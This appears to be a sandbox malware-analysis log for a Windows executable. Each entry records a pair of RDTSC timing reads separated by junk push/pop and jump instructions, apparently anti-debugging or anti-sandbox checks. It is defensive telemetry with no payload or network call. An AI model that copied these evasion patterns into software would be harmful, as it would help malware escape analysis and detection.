Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116194A second address: 116194F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116194F second address: 1161979 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F43Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007F40A503F43Eh 0x00000010 jl 00007F40A503F436h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jnl 00007F40A503F436h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11665CD second address: 11665E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132E9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11665E2 second address: 11665E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1165D3C second address: 1165D4F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jne 00007F40A5132E96h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1165FE3 second address: 1165FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F40A503F436h 0x0000000a pop eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116E6D9 second address: 116E6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116E6DE second address: 116E6E8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40A503F442h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116C5EF second address: 116C629 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F40A5132EA7h 0x00000008 jmp 00007F40A5132EA5h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 jnp 00007F40A5132E9Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116CE1B second address: 116CE2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A503F43Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116D10F second address: 116D128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F40A5132E96h 0x0000000c popad 0x0000000d pop esi 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F40A5132E96h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116D128 second address: 116D12C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116D12C second address: 116D130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116D130 second address: 116D13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F40A503F436h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116D42B second address: 116D433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116D433 second address: 116D43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F40A503F436h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116D43F second address: 116D444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116D718 second address: 116D71C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116D71C second address: 116D764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A5132EA1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jno 00007F40A5132EA2h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F40A5132E9Bh 0x00000019 jmp 00007F40A5132EA1h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116DCF5 second address: 116DD22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F40A503F449h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 popad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116DD22 second address: 116DD26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116E029 second address: 116E040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F40A503F436h 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jo 00007F40A503F438h 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116E040 second address: 116E048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116E048 second address: 116E04C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116E04C second address: 116E061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132E9Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116E061 second address: 116E077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F40A503F436h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e ja 00007F40A503F43Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 116E077 second address: 116E080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1172F3F second address: 1172F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F40A503F436h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1172F49 second address: 1172F4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1172F4D second address: 1172F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F40A503F436h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1172F5C second address: 1172F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1176C1E second address: 1176C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A503F43Dh 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1176C33 second address: 1176C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1176C39 second address: 1176C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1176C44 second address: 1176C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1176C48 second address: 1176C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1175DBC second address: 1175DCC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F40A5132E98h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1175DCC second address: 1175DD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1175EF6 second address: 1175EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1175EFB second address: 1175F42 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F40A503F438h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F40A503F476h 0x00000010 jc 00007F40A503F43Ch 0x00000016 pushad 0x00000017 jmp 00007F40A503F441h 0x0000001c jmp 00007F40A503F445h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1175F42 second address: 1175F48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 117608E second address: 1176092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1176092 second address: 117609E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11761EF second address: 11761F4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1176605 second address: 1176617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b je 00007F40A5132E96h 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1176617 second address: 1176652 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F40A503F442h 0x00000008 jmp 00007F40A503F449h 0x0000000d je 00007F40A503F436h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11767B6 second address: 11767BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11767BA second address: 11767E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F40A503F440h 0x0000000d jmp 00007F40A503F440h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1176949 second address: 117695A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F40A5132E96h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 117695A second address: 1176960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1181769 second address: 1181774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F40A5132E96h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1181774 second address: 1181787 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnp 00007F40A503F436h 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1181787 second address: 11817AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA8h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F40A5132E9Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 117F83E second address: 117F842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 117F842 second address: 117F87D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A5132EA9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jng 00007F40A5132E96h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jmp 00007F40A5132EA2h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 117FCA5 second address: 117FCAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 117FE29 second address: 117FE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 117FE2F second address: 117FE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 117FE38 second address: 117FE56 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F40A5132EA8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11802A4 second address: 11802BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F40A503F440h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11802BA second address: 11802D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F40A5132E96h 0x00000009 jnl 00007F40A5132E96h 0x0000000f jmp 00007F40A5132E9Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1180436 second address: 1180452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007F40A503F43Bh 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1180452 second address: 1180456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1180456 second address: 1180481 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F40A503F447h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F40A503F43Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1180606 second address: 1180610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F40A5132E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 118076A second address: 1180788 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F442h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F40A503F442h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1180788 second address: 118078E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11815C6 second address: 11815CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11815CA second address: 11815CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11815CE second address: 11815EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jmp 00007F40A503F43Ch 0x0000000d pushad 0x0000000e jnp 00007F40A503F436h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 117F420 second address: 117F424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11871D1 second address: 11871DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jno 00007F40A503F436h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11871DF second address: 11871E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1196024 second address: 1196048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 popad 0x00000008 push ecx 0x00000009 jmp 00007F40A503F442h 0x0000000e pushad 0x0000000f jbe 00007F40A503F436h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11961B6 second address: 11961BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11991F4 second address: 119920E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F40A503F443h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 119920E second address: 1199216 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1199216 second address: 119921B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 119921B second address: 1199221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1199221 second address: 1199227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10BD8A7 second address: 10BD8BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e jnl 00007F40A5132E96h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10BD8BD second address: 10BD8CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F40A503F436h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10BD8CA second address: 10BD8E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1198D8C second address: 1198DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A503F43Bh 0x00000009 popad 0x0000000a push edx 0x0000000b jmp 00007F40A503F444h 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007F40A503F436h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1198DBC second address: 1198DC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1198EF6 second address: 1198F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A503F43Ch 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007F40A503F436h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1198F0F second address: 1198F2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132E9Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F40A5132E96h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1198F2A second address: 1198F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1198F2E second address: 1198F34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1198F34 second address: 1198F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007F40A503F440h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jno 00007F40A503F436h 0x0000001c jmp 00007F40A503F43Fh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 11A1786 second address: 11A178A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
